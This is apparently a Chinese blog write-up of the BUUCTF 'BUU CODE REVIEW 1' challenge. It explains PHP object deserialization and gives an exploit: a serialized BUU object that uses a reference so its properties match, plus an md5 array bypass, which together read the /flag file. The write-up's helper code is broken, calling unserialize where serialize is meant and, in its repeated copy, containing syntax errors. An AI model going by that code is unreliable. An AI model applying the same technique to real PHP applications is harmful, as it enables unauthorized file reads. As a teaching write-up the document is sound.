BUU CODE REVIEW 1

php反序列化的一题

php 复制代码
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

打开题目链接是这样的一串代码

先进行代码审计,

php 复制代码
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

这段代码定义了一个名为BUU的类,该类有两个属性:$correct和$input,分别用于存储正确答案和用户输入的答案。代码中还定义了一个名为__destruct()的方法,该方法在对象销毁时自动调用。 
 
__destruct()方法中的代码逻辑如下: 
1. 尝试将uniqid()生成的唯一标识进行base64编码,并将结果赋值给$correct属性。 
2. 判断$correct属性的值是否与$input属性的值相等。 
3. 如果相等,则通过file_get_contents()函数读取"/flag"文件的内容,并将其输出。 
 
需要注意的是,代码中使用了try-catch结构来捕获异常,但在catch块中并没有任何操作。 
 
代码的执行步骤如下: 
1. 创建一个BUU类的对象。 
2. 设置对象的$correct和$input属性的值。 
3. 当对象销毁时,自动调用__destruct()方法。 
4. 在__destruct()方法中,将$correct属性的值进行base64编码,并与$input属性的值进行比较。 
5. 如果两者相等,则输出"/flag"文件的内容。
php 复制代码
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

这段代码的功能是:如果获取到的GET参数pleaseget的值为1,那么会进入第一个if语句。在第一个if语句内部,如果获取到的POST参数pleasepost的值为2,那么会进入第二个if语句。在第二个if语句内部,如果通过md5函数处理后的POST参数md51和md52的值相等,并且md51和md52的值不相等,那么会执行unserialize函数来反序列化POST参数obj的值。 
 
代码步骤解析: 
1. 判断GET参数pleaseget的值是否等于1。 
2. 如果是,进入第一个if语句。 
3. 判断POST参数pleasepost的值是否等于2。 
4. 如果是,进入第二个if语句。 
5. 使用md5函数对POST参数md51和md52的值进行处理,并比较它们的值是否相等。 
6. 同时,判断md51和md52的值是否不相等。 
7. 如果满足上述条件,执行unserialize函数来反序列化POST参数obj的值。

然后就开始写序列化代码构造paylode

php 复制代码
<?php
class BUU{
    public $correct = "";
    public $input = "";
}

$select = new BUU();
$select -> correct&$select -> $input;
$select = unserialize($select);
echo $select;

?>

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

这是输出的然序列化代码,然后再根据第二段代码继续编写。

他有两段传参,

pleaseget=1

pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

然后拿着构造好的去传参。

然后flag就出来了。

php反序列化:

<?php

class BUU{

public $correct = "";

public $input = "";

}

$select new BUU();

select -\> correct \& select -> input;

select = unserialize(select);

echo($select);

?>

这段代码定义了一个名为BUU的类,其中包含了两个属性:correct和input。接下来创建了一个名为select的BUU对象。然后将select对象的correct属性引用指向select对象的input属性。接着将select对象序列化为字符串并打印输出。

代码解析:

  1. 创建BUU类,并定义了两个公共属性correct和input。

  2. 创建一个名为$select的BUU对象。

  3. select对象的correct属性引用指向select对象的input属性。这意味着当修改correct属性时,实际上是修改了input属性。

  4. 将$select对象序列化为字符串。

  5. 打印输出序列化后的$select字符串。

相关推荐
前端世界1 小时前
鸿蒙系统安全机制全解:安全启动 + 沙箱 + 动态权限实战落地指南
android·安全·harmonyos
智驱力人工智能2 小时前
极端高温下的智慧出行:危险检测与救援
人工智能·算法·安全·行为识别·智能巡航·高温预警·高温监测
周某人姓周3 小时前
搭建渗透测试环境
网络安全·网络攻击模型
前端小巷子4 小时前
深入解析CSRF攻击
前端·安全·面试
寻觅神话066 小时前
Android 应用常见安全问题
安全·android安全·owasp masvs
车载测试工程师6 小时前
汽车功能安全-嵌入式软件测试(软件合格性测试)【目的、验证输入、集成&验证要求】11
功能测试·网络协议·测试工具·安全·车载系统·汽车·测试覆盖率
心 一7 小时前
Python 类型注解实战:`Optional` 与安全数据处理的艺术
服务器·python·安全
小lo想吃棒棒糖8 小时前
自动驾驶的“安全基石”:NVIDIA如何用技术守护未来出行
人工智能·安全·自动驾驶
码农12138号9 小时前
BUUCTF在线评测-练习场-WebCTF习题[GYCTF2020]Blacklist1-flag获取、解析
web安全·网络安全·ctf·sql注入·handler·buuctf
Linux运维技术栈9 小时前
企业级配置:Azure 邮件与 Cloudflare 域名解析的安全验证落地详解
运维·安全·flask·azure·cloudflare